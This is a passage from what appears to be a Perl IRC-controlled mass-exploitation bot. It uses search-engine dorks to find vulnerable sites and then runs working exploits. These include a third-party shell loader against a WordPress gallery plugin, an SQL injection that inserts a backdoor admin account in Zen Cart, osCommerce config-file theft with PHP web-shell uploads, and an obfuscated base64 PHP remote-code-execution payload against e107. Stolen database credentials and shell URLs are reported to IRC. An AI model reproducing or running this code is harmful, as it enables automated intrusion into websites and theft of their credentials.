	if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }

602
	if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }

603
	if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }

604
	if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }

605
	if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }

606
	if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }

607
	if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }

608
	if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }

609
	if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKES",$type); } exit; } }

610
	if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }

611
	if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }

612
	if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }

613
	if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKID",$type); } exit; } }

614
	if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }

615
	if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }

616
	if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }

617
	if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }

618
	if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }

619
	if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }

620
	if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }

621
	if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }

622
	if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }

623
	if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }

624
	if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }

625
	if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }

626
	if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }

627
	if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }

628
	if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }

629
	if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }

630
	if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }

631
	if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }

632
	if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }

633
	if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }

634
	if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }

635
	if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }

636
	if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }

637
	}

638
	if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }

639
	if ($gps2 ==1) {

640
	if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }

641
	if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }

642
	if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }

643
	if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }

644
	if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }

645
	if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }

646
	if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }

647
	if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }

648
	if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }

649
	if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }

650
	if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }

651
	if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }

652
	if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }

653
	}

654
}

655
656
657
###### EXPLOITING #######

658
sub rfg_exploit() {

659
	my $chan = $_[0];

660
	my $bugz = $_[1];

661
	my $simpan = $_[2];

662
	my $dork = $_[3];

663
	my $engine = $_[4];

664
	my $count = 0;

665
	my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$rfglogo);

666
	my $num = scalar(@totexploit);

667
	if ($num > 0){

668
		foreach my $site(@totexploit){

669
		$count++;

670
		if ($count == $num-1) { &msg("$chan","$rfglogo15$engine 9Finished 15for 9$dork "); }

671
			my $test  = "http://garguritos.com/rfg.php?url=http://".$site;

672
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

673
				my $html  = &get_content($test);

674
				my $vpath = "wp-content/plugins/radykal-fancy-gallery/admin/";

675
				if ($html =~ /<a href=\"http:\/\/(.*)$vpath(.*)\">Your shell/){

676
					my $vuln = $1; my $qr = $2;

677
					my $upl = "http://".$vuln.$vpath.$qr."wget%20".$thumbshell;

678
					my $crut = &get_content($upl);

679
					if ($crut =~ /3xploit/) {

680
					my $shell = "http://".$vuln.$vpath."bad.php";

681
					my $check = &get_content($shell);

682
					if ($check =~ /STUNSHELL/i){

683
						my $safe = ""; my $os = ""; my $uid = "";

684
						if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}

685
						if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}

686
						if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}

687
						&msg("$admin","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

688
						&msg("$chan","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

689
					} else {

690
						&msg("$chan","$rfglogo15$engine 9<4=9>9 VulN 9<4=9>9 http://".$vuln.$vpath.$qr."15 ");

691
					}

692
					}

693
				}

694
			} exit; }

695
		}

696
	}

697
}

698
699
sub zen_exploit() {

700
	my $chan = $_[0];

701
	my $bug = $_[1];

702
	my $simpan = $_[2];

703
	my $dork = $_[3];

704
	my $engine = $_[4];

705
	my $count = 0;

706
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);

707
	my $num = scalar(@totexploit);

708
	if ($num > 0){

709
		foreach my $site(@totexploit){

710
		$count++;

711
		if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }

712
			my $test  = "http://".$site.$bug;

713
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

714
				my $html  = &get_content($test);

715
				if ($html =~ /zc_install/){

716
					&zen_query($chan,$site,$test,$engine);

717
				}

718
			} exit; }

719
		}

720
	}

721
}

722
723
sub zen_query() {

724
	my $chan = $_[0];

725
	my $url = $_[1];

726
	my $test = $_[2];

727
	my $engine = $_[3];

728
	my $code  = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";

729
	my $req = HTTP::Request->new(POST => $test);

730
	$req->content_type("application/x-www-form-urlencoded");

731
	$req->content("query_string=".$code);

732
	my $ua = LWP::UserAgent->new(agent => $uagent);

733
	$ua->timeout(3);

734
	my $res = $ua->request($req);

735
	my $data = $res->as_string;

736
	if ( $data =~ /1 statements processed/i ) {

737
		&msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");

738
		&msg("$admin","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");

739
	}

740
	elsif ( $data =~ /Duplicate entry/i ) { 

741
		&msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");

742
		&msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");

743
	}

744
}

745
746
sub osco_exploit() {

747
	my $chan = $_[0];

748
	my $bug = $_[1];

749
	my $simpan = $_[2];

750
	my $dork = $_[3];

751
	my $engine = $_[4];

752
	my $count = 0;

753
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);

754
	my $num = scalar(@totexploit);

755
	if ($num > 0){

756
		foreach my $site(@totexploit){

757
		$count++;

758
		if ($count == $num-1) { &msg("$chan","$oscologo15$engine 9Finished 15for 9$dork "); }

759
			my $cat = "http://".$site."admin/categories.php/login.php";

760
			my $fm = "http://".$site."admin/file_manager.php/login.php";

761
			my $bm = "http://".$site."admin/banner_manager.php/login.php";

762
			my $shell = "http://".$site."images/lobex.php";

763
			my $dumper = "http://".$site."images/lobexdb.php";

764
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

765
				my $coba = &get_content($cat);sleep(1);

766
				my $cob2 = &get_content($fm);sleep(1);

767
				my $cob3 = &get_content($bm);sleep(1);

768
				if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {

769
					my $test = $cat."?action=download&filename=/includes/configure.php";

770
					my $cek = &get_content($test);

771
					if ($cek =~ /http:\/\//) {

772
						&osql_xpl($test,$chan,$site,$engine);

773
					}

774
					my $aplod = LWP::UserAgent->new;

775
					my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;

776
					my $resa = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa->as_string;

777
					my $cekap = &get_content($shell);

778
					if ($cekap =~ /UnKnown - Simple Shell/) {

779
						my $safe = ""; my $os = ""; my $uid = "";

780
						if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}

781
						if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}

782
						if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}

783
						&msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

784
						&msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

785
						&msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);

786
					}

787
				}

788
				if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {

789
					my $test2 = $fm."?action=download&filename=/includes/configure.php";

790
					my $cek2 = &get_content($test2);

791
					if ($cek2 =~ /http:\/\//) {

792
						&osql_xpl($test2,$chan,$site,$engine);

793
					}

794
					my $aplod2 = LWP::UserAgent->new;

795
					my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;

796
					my $resb = $aplod2->post($fm."?action=processuploads",['file_1' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resb->as_string;

797
					my $cekap = &get_content($shell);

798
					if ($cekap =~ /UnKnown - Simple Shell/) {

799
						my $safe = ""; my $os = ""; my $uid = "";

800
						if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}

801
						if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}

802
						if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}

803
						&msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");

804
						&msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");

805
						&msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);

806
					}

807
				}

808
				if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {

809
					my $test3 = $bm."?action=download&filename=/includes/configure.php";

810
					my $cek3 = &get_content($test3);

811
					if ($cek3 =~ /http:\/\//) {

812
						&osql_xpl($test3,$chan,$site,$engine);

813
					}

814
					my $aplod3 = LWP::UserAgent->new;

815
					my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;

816
					my $resc = $aplod3->post($bm."?action=insert",['banners_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resc->as_string;

817
					my $cekap = &get_content($shell);

818
					if ($cekap =~ /UnKnown - Simple Shell/) {

819
						my $safe = ""; my $os = ""; my $uid = "";

820
						if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}

821
						if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}

822
						if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}

823
						&msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");

824
						&msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");

825
						&msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);

826
					}

827
				}

828
				} exit;

829
			}

830
		}

831
	}

832
}

833
834
sub osql_xpl() {

835
	my $url    = $_[0];

836
	my $chan   = $_[1];

837
	my $site   = $_[2];

838
	my $engine = $_[3];

839
	my $request = HTTP::Request->new(GET=>$url);

840
	my $browser = LWP::UserAgent->new();

841
	$browser->timeout(10);

842
	my $response = $browser->request($request);

843
	my @dbsinfo;

844
	if ($response->is_success) {

845
		my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = "";

846
		my $res = $response->as_string;

847
		if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {

848
			$dpath = $1;

849
			&msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DIR path: 4 $dpath");

850
		}

851
		if ($res =~ m/'DB_SERVER', '(.*)'/g) {

852
			$dbserver = $1;

853
			&msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB Server: 4 $dbserver");

854
		}

855
		if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {

856
			$dbuser = $1;

857
			&msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB username: 4 $dbuser");

858
		}

859
		if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {

860
			$dbpass = $1;

861
			&msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB password: 4 $dbpass");

862
		}

863
		if ($res =~ m/'DB_DATABASE', '(.*)'/g) {

864
			$dbname = $1;

865
			&msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB database: 4 $dbname");

866
		}

867
		my $hosts = "http://".$site;

868
		if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {

869
			$host = $2;

870
			&dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1);

871
			if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }

872
			&ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1);

873
		}

874
	}

875
}

876
877
sub e107_exploit() {

878
	my $chan = $_[0];

879
	my $bug = $_[1];

880
	my $simpan = $_[2];

881
	my $dork = $_[3];

882
	my $engine = $_[4];

883
	my $count = 0;

884
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);

885
	my $num = scalar(@totexploit);

886
	if ($num > 0){

887
		foreach my $site(@totexploit){

888
		$count++;

889
		if ($count == $num-1) { &msg("$chan","$e107logo15$engine 9Finished 15for 9$dork "); }

890
			my $test = "http://".$site.$bug;

891
			my $shellz = "http://".$site."/images/lobex.php";

892
			my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";

893
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

894
			my $html = &e107_rce_query($test,$code);

895
			if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {

896
				my $sys = $1;

897
				my $upload = "";

898
				my $res = &e107_rce_query($test);

899
				if ($res =~ /lobexxx/) {

900
					my $check = &get_content($shellz);

901
					if ($check =~ /GIF89a/) {

902
						&msg("$chan","$e107logo15$engine 9<4=9>9 SheLL 9<4=9>9 $shellz ");sleep(2);

903
					}

904
				} else { &msg("$chan","$e107logo15$engine 9<4=9>15 System 9<4=9>9 $test 15($sys) ");sleep(2); }

905
			}

906
		} exit; }

907
		}

908
	}

909
}

910
911
sub e107_rce_query() {

912
    my $url = $_[0];

913
    my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9pbWFnZXMvbG9iZXgucGhwJywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTs=";

914
    my $req = HTTP::Request->new(POST => $url);

915
    $req->content_type('application/x-www-form-urlencoded');

916
    $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");

917
    my $ua = LWP::UserAgent->new(agent => $uagent);

918
    $ua->timeout(7);

919
    my $res = $ua->request($req);

920
    return $res->content;

921
}

922
 

923
sub e107_spread_query() {

924
    my $url = $_[0];

925
